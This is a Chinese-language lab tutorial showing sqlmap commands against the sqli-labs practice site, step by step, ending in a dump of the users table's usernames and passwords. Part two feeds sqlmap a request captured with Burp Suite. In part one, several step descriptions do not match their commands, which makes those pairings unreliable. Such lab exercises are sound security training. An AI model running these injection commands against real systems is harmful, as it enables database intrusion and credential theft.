sqlmap的基础使用

一、以less-3/为入口，利用sqlmap实施自动化注入，获取sqli-labs网站的登录账户和密码

1、访问http://192.168.207.1/sql/Less-3，启动sqlmap

2、寻找注入点http://192.168.207.1/sql/Less-3/?id=1

3、 获取数据库的所有库名 -u "http://192.168.207.1/sql/Less-3/?id=1"

4、获取网站当前所在数据库的库名 -u "http://192.168.207.1/sql/Less-3/?id=1" --dbs

5、获取数据库security的所有表名  -u "http://192.168.207.1/sql/Less-3/?id=1" --current-db

 6、获取users表中的全部字段名  -u "http://192.168.207.1/sql/Less-3/?id=1" -D security --tables

 7、获取users表id、password、username字段的全部值  

-u "http://192.168.207.1/sql/Less-3/?id=1" -D security -T users -C id,username,password --dump

  

二、以less-4/为入口，利用sqlmap实施自动化注入，获取sqli-labs网站的登录账户和密码。

1、利用burp suit抓取http://192.168.207.1/sql/Less-4/?id=1的包

2、将拦截的报文以a.txt文档保存在c盘根目录下

3、寻找注入点，获取网站所在数据库基本信息 -r C:\a.txt

4、获取所有数据库的库名  -r C:\a.txt --dbs

5、获取当前网站所在数据库的库名  -r C:\a.txt --current-db

 

6、获取数据库security的所有表名  -r C:\a.txt -D security --tables

7、获取users表中的所有字段   -r C:\a.txt -D security -T users --columns

8、获取id、password、username字段的所有值  -r C:\a.txt -D security -T users -C id,username,password --dump